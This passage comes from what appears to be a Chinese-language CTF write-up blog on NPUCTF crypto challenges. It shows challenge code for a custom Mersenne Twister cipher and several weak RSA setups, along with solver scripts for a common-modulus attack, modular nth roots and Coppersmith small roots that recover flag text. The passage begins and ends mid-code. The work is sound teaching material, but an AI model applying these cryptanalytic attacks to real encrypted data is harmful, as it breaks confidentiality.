class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> itertools <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> binascii <span class="keyword">import</span> hexlify , unhexlify</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> flag <span class="keyword">import</span> flag ,seed</span><br><span class="line"></span><br><span class="line"><span class="keyword">assert</span> len(flag) == <span class="number">26</span></span><br><span class="line"><span class="keyword">assert</span> flag[:<span class="number">7</span>] == <span class="string">'npuctf&#123;'</span></span><br><span class="line"><span class="keyword">assert</span> flag[<span class="number">-1</span>] == <span class="string">'&#125;'</span></span><br><span class="line"></span><br><span class="line">XOR = <span class="keyword">lambda</span> s1 ,s2 : bytes([x1 ^ x2 <span class="keyword">for</span> x1 ,x2 <span class="keyword">in</span> zip(s1 , s2)])</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">mt73991</span>:</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self , seed)</span>:</span></span><br><span class="line">        self.state = [seed] + [<span class="number">0</span>] * <span class="number">232</span></span><br><span class="line">        self.flag = <span class="number">0</span></span><br><span class="line">        self.srand()</span><br><span class="line">        self.generate()</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">srand</span><span class="params">(self)</span>:</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">232</span>):</span><br><span class="line">            self.state[i+<span class="number">1</span>] = <span class="number">1812433253</span> * (self.state[i] ^ (self.state[i] &gt;&gt; <span class="number">27</span>)) - i</span><br><span class="line">            self.state[i+<span class="number">1</span>] &amp;= <span class="number">0xffffffff</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">generate</span><span class="params">(self)</span>:</span></span><br><span class="line">        <span class="keyword">for</span> i <span class="keyword">in</span> range(<span class="number">233</span>):</span><br><span class="line">            y = (self.state[i] &amp; <span class="number">0x80000000</span>) | (self.state[(i+<span class="number">1</span>)%<span class="number">233</span>] &amp; <span class="number">0x7fffffff</span>)</span><br><span class="line">            temp = y &gt;&gt; <span class="number">1</span></span><br><span class="line">            temp ^= self.state[(i + <span class="number">130</span>) % <span class="number">233</span>]</span><br><span class="line">            <span class="keyword">if</span> y &amp; <span class="number">1</span>:</span><br><span class="line">                temp ^= <span class="number">0x9908f23f</span></span><br><span class="line">            self.state[i] = temp</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">getramdanbits</span><span class="params">(self)</span>:</span></span><br><span class="line">        <span class="keyword">if</span> self.flag == <span class="number">233</span>:</span><br><span class="line">            self.generate()</span><br><span class="line">            self.flag = <span class="number">0</span></span><br><span class="line">        bits = self.Next(self.state[self.flag]).to_bytes(<span class="number">4</span> , <span class="string">'big'</span>)</span><br><span class="line">        self.flag += <span class="number">1</span></span><br><span class="line">        <span class="keyword">return</span> bits</span><br><span class="line">        </span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">Next</span><span class="params">(self , tmp)</span>:</span></span><br><span class="line">        tmp ^= (tmp &gt;&gt; <span class="number">11</span>)</span><br><span class="line">        tmp ^= (tmp &lt;&lt; <span class="number">7</span>) &amp; <span class="number">0x9ddf4680</span></span><br><span class="line">        tmp ^= (tmp &lt;&lt; <span class="number">15</span>) &amp; <span class="number">0xefc65400</span></span><br><span class="line">        tmp ^= (tmp &gt;&gt; <span class="number">18</span>) &amp; <span class="number">0x34adf670</span></span><br><span class="line">        <span class="keyword">return</span> tmp</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">encrypt</span><span class="params">(key , plain)</span>:</span></span><br><span class="line">    tmp = md5(plain).digest()</span><br><span class="line">    <span class="keyword">return</span> hexlify(XOR(tmp , key))</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line">    flag = flag.encode()</span><br><span class="line">    random = mt73991(seed)</span><br><span class="line">    f = open(<span class="string">'./cipher.txt'</span> , <span class="string">'wb'</span>)</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> flag:</span><br><span class="line">        key = <span class="string">b''</span>.join([random.getramdanbits() <span class="keyword">for</span> _ <span class="keyword">in</span> range(<span class="number">4</span>)])</span><br><span class="line">        cipher = encrypt(key , chr(i).encode())</span><br><span class="line">        f.write(cipher)</span><br></pre></td></tr></table></figure><h2 id="分析-v2">分析</h2><p>提供了它这里使用的梅森旋转算法<br>加密思路是：<br>​每次加密明文：flag 里的每个字符<br>​密钥：由 mt73991 对象生成的伪随机数（四个拼在一起）<br>​加密函数：对明文一次 md5 加密，之后，加密后的明文和密钥逐位异或</p><h2 id="解析-v2">解析</h2><p>尝试写了一个对伪随机数预测的程序:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Mersenne_twister <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> hashlib <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> itertools <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> binascii <span class="keyword">import</span> hexlify , unhexlify</span><br><span class="line"><span class="keyword">from</span> string <span class="keyword">import</span> ascii_letters, digits</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> bytes_to_long</span><br><span class="line"><span class="keyword">import</span> flag</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">TemperInverser</span>:</span></span><br><span class="line">    __b = <span class="number">0x9ddf4680</span>    <span class="comment"># 比特遮罩1</span></span><br><span class="line">    __c = <span class="number">0xefc65400</span>    <span class="comment"># 比特遮罩2</span></span><br><span class="line">    __d = <span class="number">0x34adf670</span>    <span class="comment"># 比特遮罩3</span></span><br><span class="line">    __kMaxBits      =  <span class="number">0xffffffff</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__inverse_right_shift_xor</span><span class="params">(self, value, shift, mask)</span>:</span></span><br><span class="line">        i, result = <span class="number">0</span>, <span class="number">0</span></span><br><span class="line">        <span class="keyword">while</span> i * shift &lt; <span class="number">32</span>:</span><br><span class="line">            part_mask = ((self.__kMaxBits &lt;&lt; (<span class="number">32</span> - shift)) &amp; self.__kMaxBits) &gt;&gt; (i * shift)</span><br><span class="line">            part = value &amp; part_mask</span><br><span class="line">            value ^= (part &gt;&gt; shift) &amp; mask</span><br><span class="line">            result |= part</span><br><span class="line">            i += <span class="number">1</span></span><br><span class="line">        <span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__inverse_left_shift_xor</span><span class="params">(self, value, shift, mask)</span>:</span></span><br><span class="line">        i, result = <span class="number">0</span>, <span class="number">0</span></span><br><span class="line">        <span class="keyword">while</span> i * shift &lt; <span class="number">32</span>:</span><br><span class="line">            part_mask = (self.__kMaxBits &gt;&gt; (<span class="number">32</span> - shift)) &lt;&lt; (i * shift)</span><br><span class="line">            part = value &amp; part_mask</span><br><span class="line">            value ^= (part &lt;&lt; shift) &amp; mask</span><br><span class="line">            result |= part</span><br><span class="line">            i += <span class="number">1</span></span><br><span class="line">        <span class="keyword">return</span> result</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__inverse_temper</span><span class="params">(self, tempered)</span>:</span></span><br><span class="line">        value = tempered</span><br><span class="line">        value = self.__inverse_right_shift_xor(value, <span class="number">18</span>, self.__d)</span><br><span class="line">        value = self.__inverse_left_shift_xor(value, <span class="number">15</span>, self.__c)</span><br><span class="line">        value = self.__inverse_left_shift_xor(value, <span class="number">7</span>, self.__b)</span><br><span class="line">        value = self.__inverse_right_shift_xor(value, <span class="number">11</span>, self.__kMaxBits)</span><br><span class="line">        <span class="keyword">return</span> value</span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__call__</span><span class="params">(self, tempered)</span>:</span></span><br><span class="line">        <span class="keyword">return</span> self.__inverse_temper(tempered)</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">MersenneTwisterCracker</span>:</span></span><br><span class="line">    __n = <span class="number">233</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self, mt_obj)</span>:</span></span><br><span class="line">        inverser  = TemperInverser()</span><br><span class="line">        register  = [inverser(int.from_bytes(random(), <span class="string">'big'</span>)) <span class="keyword">for</span> _ <span class="keyword">in</span> range(self.__n)]</span><br><span class="line">        self.__mt = mt73991(<span class="number">0</span>)</span><br><span class="line">        <span class="comment"># self.__state = 0</span></span><br><span class="line">        <span class="comment"># self.__register = register</span></span><br><span class="line">        self.__mt.load_register(register) <span class="comment"># 纠正</span></span><br><span class="line"></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__call__</span><span class="params">(self)</span>:</span></span><br><span class="line">        <span class="keyword">return</span> self.__mt()</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">encrypt</span><span class="params">(key , plain)</span>:</span></span><br><span class="line">    tmp = md5(plain).digest()</span><br><span class="line">    <span class="keyword">return</span> hexlify(XOR(tmp , key))</span><br><span class="line"></span><br><span class="line">all_letters = ascii_letters + digits + <span class="string">'.,;'</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">decrypt_md5</span><span class="params">(md5_value)</span>:</span></span><br><span class="line">    <span class="keyword">if</span> len(md5_value)!=<span class="number">32</span>:</span><br><span class="line">        print(<span class="string">'error'</span>)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    md5_value=md5_value.lower()</span><br><span class="line">    <span class="keyword">for</span> k <span class="keyword">in</span> range(<span class="number">5</span>,<span class="number">10</span>):</span><br><span class="line">        <span class="keyword">for</span> item <span class="keyword">in</span> permutations(all_letters,k):</span><br><span class="line">            item=<span class="string">''</span>.join(item)</span><br><span class="line">            <span class="keyword">if</span> md5(item.encode()).hexdigest()==md5_value:</span><br><span class="line">                <span class="keyword">return</span> item</span><br></pre></td></tr></table></figure><p>但是发现没有 seed 还是不行。</p><blockquote><p>至少加深了对算法理解（自慰安慰 😢 ）<br>估计算法的深处藏有爆破 seed 的方法（否则 $2^{32}$ 没办法得到 seed）。</p></blockquote><h1>共模攻击</h1><p>附件1：<strong><a href="http://hint.py" target="_blank" rel="noopener">hint.py</a></strong></p><blockquote><p>后来这个文件被下架了，直接给出其实 🔥😠🔥 .（好吧，其实没差，hhh）</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> secret <span class="keyword">import</span> hint</span><br><span class="line"></span><br><span class="line">m = bytes_to_long(hint)</span><br><span class="line">p = getPrime(<span class="number">256</span>)</span><br><span class="line">c = pow(m, <span class="number">256</span>, p)</span><br><span class="line">print(p)</span><br><span class="line"></span><br><span class="line">p, q = getPrime(<span class="number">256</span>), getPrime(<span class="number">256</span>)</span><br><span class="line">n = p * q</span><br><span class="line">e1, e2 = getPrime(<span class="number">32</span>), getPrime(<span class="number">32</span>)</span><br><span class="line">c1, c2 = pow(c, e1, n), pow(c, e2, n)</span><br><span class="line">print(n)</span><br><span class="line">print(e1, c1)</span><br><span class="line">print(e2, c2)</span><br><span class="line"></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">107316975771284342108362954945096489708900302633734520943905283655283318535709</span></span><br><span class="line"><span class="string">6807492006219935335233722232024809784434293293172317282814978688931711423939629682224374870233587969960713638310068784415474535033780772766171320461281579</span></span><br><span class="line"><span class="string">2303413961, 1754421169036191391717309256938035960912941109206872374826444526733030696056821731708193270151759843780894750696642659795452787547355043345348714129217723</span></span><br><span class="line"><span class="string">2622163991,1613454015951555289711148366977297613624544025937559371784736059448454437652633847111272619248126613500028992813732842041018588707201458398726700828844249</span></span><br><span class="line"><span class="string">'''</span></span><br></pre></td></tr></table></figure><p><strong><a href="http://task.py" target="_blank" rel="noopener">task.py</a></strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> secret <span class="keyword">import</span> flag</span><br><span class="line"></span><br><span class="line">flag = flag.strip(<span class="string">b"npuctf&#123;"</span>).strip(<span class="string">b"&#125;"</span>)</span><br><span class="line">m = bytes_to_long(flag)</span><br><span class="line"></span><br><span class="line">p, q = getPrime(<span class="number">512</span>), getPrime(<span class="number">512</span>)</span><br><span class="line">n = p * q</span><br><span class="line">e1, e2 = p, q</span><br><span class="line">c1, c2 = pow(m, e1, n), pow(m, e2, n)</span><br><span class="line"></span><br><span class="line">print(n)</span><br><span class="line">print(c1)</span><br><span class="line">print(c2)</span><br><span class="line"></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">128205304743751985889679351195836799434324346996129753896234917982647254577214018524580290192396070591032007818847697193260130051396080104704981594190602854241936777324431673564677900773992273463534717009587530152480725448774018550562603894883079711995434332008363470321069097619786793617099517770260029108149</span></span><br><span class="line"><span class="string">96860654235275202217368130195089839608037558388884522737500611121271571335123981588807994043800468529002147570655597610639680977780779494880330669466389788497046710319213376228391138021976388925171307760030058456934898771589435836261317283743951614505136840364638706914424433566782044926111639955612412134198</span></span><br><span class="line"><span class="string">9566853166416448316408476072940703716510748416699965603380497338943730666656667456274146023583837768495637484138572090891246105018219222267465595710692705776272469703739932909158740030049375350999465338363044226512016686534246611049299981674236577960786526527933966681954486377462298197949323271904405241585</span></span><br><span class="line"><span class="string">'''</span></span><br></pre></td></tr></table></figure><h2 id="hint-py"><a href="http://hint.py" target="_blank" rel="noopener">hint.py</a></h2><h3 id="共模攻击">共模攻击</h3><p><strong>第一部分：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">p, q = getPrime(<span class="number">256</span>), getPrime(<span class="number">256</span>)</span><br><span class="line">n = p * q</span><br><span class="line">e1, e2 = getPrime(<span class="number">32</span>), getPrime(<span class="number">32</span>)</span><br><span class="line">c1, c2 = pow(c, e1, n), pow(c, e2, n)</span><br><span class="line">print(n)</span><br><span class="line">print(e1, c1)</span><br><span class="line">print(e2, c2)</span><br></pre></td></tr></table></figure><p>典型的共模攻击，破解：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line">_, r, s = gcdext(e1, e2)</span><br><span class="line">c = pow(c1, r, n) * pow(c2, s, n) % n</span><br><span class="line"><span class="keyword">print</span> c</span><br></pre></td></tr></table></figure><h3 id="高次剩余">高次剩余</h3><p><strong>第二部分：</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">m = bytes_to_long(hint)</span><br><span class="line">p = getPrime(<span class="number">256</span>)</span><br><span class="line">c = pow(m, <span class="number">256</span>, p)</span><br><span class="line">print(p)</span><br></pre></td></tr></table></figure><p>$$<br>c = m^{256} \pmod p<br>$$</p><p>这里要进行高次剩余方程求解。<br>不过网上的板子几乎都是用 C++ 写的（ICPCer 的作品…）我也尝试过用 <a href="https://blog.csdn.net/dreamzuora/article/details/52744666" target="_blank" rel="noopener">N次剩余(详解+例题+代码)</a> 的 CPP 板子，然而…… <code>c </code> 是在太大，不得行…… 🙂</p><blockquote><p>关于算法，有篇博客写得很全面：<a href="https://www.cnblogs.com/zhouzhendong/p/Number-theory-Residue-System.html" target="_blank" rel="noopener">数论算法 剩余系相关 学习笔记 (基础回顾,(ex)CRT,(ex)lucas,(ex)BSGS,原根与指标入门,高次剩余,Miller_Robin+Pollard_Rho)</a> （仰望 ICPCer）</p><p>可以调用大整数库，写下算法……（濒危动物表示写不动 😭 ）</p></blockquote><h4 id="Sympy">Sympy</h4><p>后来发现 Sympy 里有求 高次剩余的函数……</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> sympy.ntheory.residue_ntheory <span class="keyword">import</span> nthroot_mod</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">c = <span class="number">19384002358725759679198917686763310349050988223627625096050800369760484237557</span></span><br><span class="line">n = <span class="number">107316975771284342108362954945096489708900302633734520943905283655283318535709</span></span><br><span class="line">mlst = nthroot_mod(c, <span class="number">256</span>, n, all_roots=<span class="literal">True</span>)</span><br><span class="line"><span class="keyword">for</span> m <span class="keyword">in</span> mlst:</span><br><span class="line">    <span class="keyword">assert</span> pow(m, <span class="number">256</span>, n) == c</span><br><span class="line">    <span class="keyword">print</span> long_to_bytes(m)</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">m.bit_length() &lt; 400</span><br><span class="line">��&#125;�&#123;�6�k����Zs�A����U�H���</span><br><span class="line">�%��������)&#x3D;�-q������L�P\?�</span><br><span class="line">�CAz</span><br><span class="line">KA���UA��X*gp&#125;-LX��</span><br></pre></td></tr></table></figure><h4 id="mma-Sage">mma / Sage</h4><p>用 mma：</p><figure class="highlight mathematica"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">Simplify</span>[</span><br><span class="line"> <span class="keyword">Reduce</span>[</span><br><span class="line">  c == <span class="keyword">Mod</span>[m^<span class="number">256</span>, p] /.</span><br><span class="line">   &#123;c -&gt; <span class="number">1938400235872575967919891768676331034905098822362762509605080</span>\</span><br><span class="line"><span class="number">0369760484237557</span>,</span><br><span class="line">    p -&gt; <span class="number">1073169757712843421083629549450964897089003026337345209439052</span>\</span><br><span class="line"><span class="number">83655283318535709</span>&#125;,</span><br><span class="line">  m, <span class="keyword">Integers</span></span><br><span class="line">  ]</span><br><span class="line">]</span><br></pre></td></tr></table></figure><p>或者用 SageMath：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">p = <span class="number">107316975771284342108362954945096489708900302633734520943905283655283318535709</span></span><br><span class="line">c = <span class="number">19384002358725759679198917686763310349050988223627625096050800369760484237557</span></span><br><span class="line">PR.&lt;x&gt; = PolynomialRing(Zmod(p))</span><br><span class="line">f = x^<span class="number">256</span> - c</span><br><span class="line">f.monic().roots()</span><br></pre></td></tr></table></figure><p>+Python</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">mlist = [<span class="number">623314401187286670257694436875298172611109072944</span>,<span class="number">11812523831006378212663497485315375112114782670326938195125719701658999904789</span>, <span class="number">95504451940277963895699457459781114596785519963407582748779563953624318630920</span>, <span class="number">107316975771284342108362954944473175307713015963476826507029985482672209462765</span>]</span><br><span class="line">msglst =[]</span><br><span class="line"><span class="keyword">for</span> m <span class="keyword">in</span> mlist:</span><br><span class="line">    <span class="keyword">assert</span> pow(m, <span class="number">256</span>, p) == c</span><br><span class="line">    msglst.append(long_to_bytes(m))</span><br><span class="line">msglst</span><br></pre></td></tr></table></figure><p>输出：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[<span class="string">'m.bit_length() &lt; 400'</span>,</span><br><span class="line"> <span class="string">'\x1a\x1d\xa6\xcc&#125;\xb9\x1f&#123;\xe36\xe5k\xb3\xe6\xf3\xecZs\xb0A\xa2\x01\x88\x8b\x8aU\xf1H\xaa\xa6\xda\x15'</span>,</span><br><span class="line"> <span class="string">'\xd3%\x9a\xad\x8c\x91\xfc\xc5\xf7\xa7)=\x0e\x89-\x15q\xf1\xe6\xff\xd4\xcc\xfbL\xa4P\\?\xce\x1a\\\x08'</span>,</span><br><span class="line"> <span class="string">'\xedCAz\nK\x1cA\xda\xde\x0e\xa8UA\xbe\x98X\x06*\xdc\x08g\x0fp\x06&#125;-LX\x8d\x05\xed'</span>]</span><br></pre></td></tr></table></figure><p>所以，我们费了半天功夫得到的提示是：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">m.bit_length() &lt; 400</span><br></pre></td></tr></table></figure><blockquote><p>😅😅😅😅😅😅😅😅<br>这不是废话吗？？？<br>🤕🤕🤕 稍后打脸</p></blockquote><h2 id="task-py"><a href="http://task.py" target="_blank" rel="noopener">task.py</a></h2><p>$$<br>n = q*p<br>\\<br>c_1 = m^p \pmod n<br>\\<br>c_2 = m^q \pmod n<br>$$<br>确实是共模攻击，和后来下架 <code>hint.py</code> 之后的新的问题提示一样，此“共模攻击”非彼“共模攻击”。<br>模数确实一样，但我们不知道密钥……<br>看了 WP，发现 Hint 是给 Coppersmith定理攻击 的可行性的提示……</p><blockquote><p>Coppersmith 定理指出在一个 e 阶的 $\pmod n$ 多项式 $f(x)$ 中，如果有一个根小于$n^{1/e}$，就可以运用一个 $O(log n)$ 的算法求出这些根。</p></blockquote><p>以下是分析：<br>hint 给出 m 比特长度上界，联想到 coppersmith，再可行性分析如下：<br>$$<br>c_1 = m^p = m \pmod p<br>\\<br>c_2 = m^q = m \pmod q<br>\\<br>\therefore n | (c_1-m)(c_2-m)<br>\\<br>\text{上界：} , \frac{1}{2}n^{1/2}  \approx 2^{511}<br>$$<br>因为 m.bit_length() &lt; 400，所以可行性分析通过。</p><p><strong>Sage</strong>：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">n = <span class="number">128205304743751985889679351195836799434324346996129753896234917982647254577214018524580290192396070591032007818847697193260130051396080104704981594190602854241936777324431673564677900773992273463534717009587530152480725448774018550562603894883079711995434332008363470321069097619786793617099517770260029108149</span></span><br><span class="line">c1= <span class="number">96860654235275202217368130195089839608037558388884522737500611121271571335123981588807994043800468529002147570655597610639680977780779494880330669466389788497046710319213376228391138021976388925171307760030058456934898771589435836261317283743951614505136840364638706914424433566782044926111639955612412134198</span></span><br><span class="line">c2= <span class="number">9566853166416448316408476072940703716510748416699965603380497338943730666656667456274146023583837768495637484138572090891246105018219222267465595710692705776272469703739932909158740030049375350999465338363044226512016686534246611049299981674236577960786526527933966681954486377462298197949323271904405241585</span></span><br><span class="line">PR.&lt;y&gt; = PolynomialRing(Zmod(n))</span><br><span class="line">g = (c1-y) * (c2-y)</span><br><span class="line">g.monic().small_roots(X=<span class="number">2</span>^<span class="number">400</span>, beta=<span class="number">1</span>)</span><br><span class="line">long_to_bytes(<span class="number">4242839043019782000788118887372132807371568279472499477998758466224002905442227156537788110520335652385855</span>)</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#39;verrrrrrry_345yyyyyyy_rsaaaaaaa_righttttttt?&#39;</span><br></pre></td></tr></table></figure><h1>ezRSA</h1><p>附件：<strong><a href="http://difficultrsa.py" target="_blank" rel="noopener">difficultrsa.py</a></strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> lcm, powmod, invert, gcd, mpz</span><br><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> getPrime</span><br><span class="line"><span class="keyword">from</span> sympy <span class="keyword">import</span> nextprime</span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> randint</span><br><span class="line">p = getPrime(<span class="number">1024</span>)</span><br><span class="line">q = getPrime(<span class="number">1024</span>)</span><br><span class="line">n = p * q</span><br><span class="line">gift = lcm(p - <span class="number">1</span> , q - <span class="number">1</span>)</span><br><span class="line">e = <span class="number">54722</span></span><br><span class="line">flag = <span class="string">b'NPUCTF&#123;******************&#125;'</span></span><br><span class="line">m = int.from_bytes(flag , <span class="string">'big'</span>)</span><br><span class="line">c = powmod(m, e, n)</span><br><span class="line">print(<span class="string">'n: '</span>, n)</span><br><span class="line">print(<span class="string">'gift: '</span>, gift)</span><br><span class="line">print(<span class="string">'c: '</span>, c)</span><br><span class="line"></span><br><span class="line"><span class="comment">#n: 17083941230213489700426636484487738282426471494607098847295335339638177583685457921198569105417734668692072727759139358207667248703952436680183153327606147421932365889983347282046439156176685765143620637107347870401946946501620531665573668068349080410807996582297505889946205052879002028936125315312256470583622913646319779125559691270916064588684997382451412747432722966919513413709987353038375477178385125453567111965259721484997156799355617642131569095810304077131053588483057244340742751804935494087687363416921314041547093118565767609667033859583125275322077617576783247853718516166743858265291135353895239981121</span></span><br><span class="line"><span class="comment">#gift:  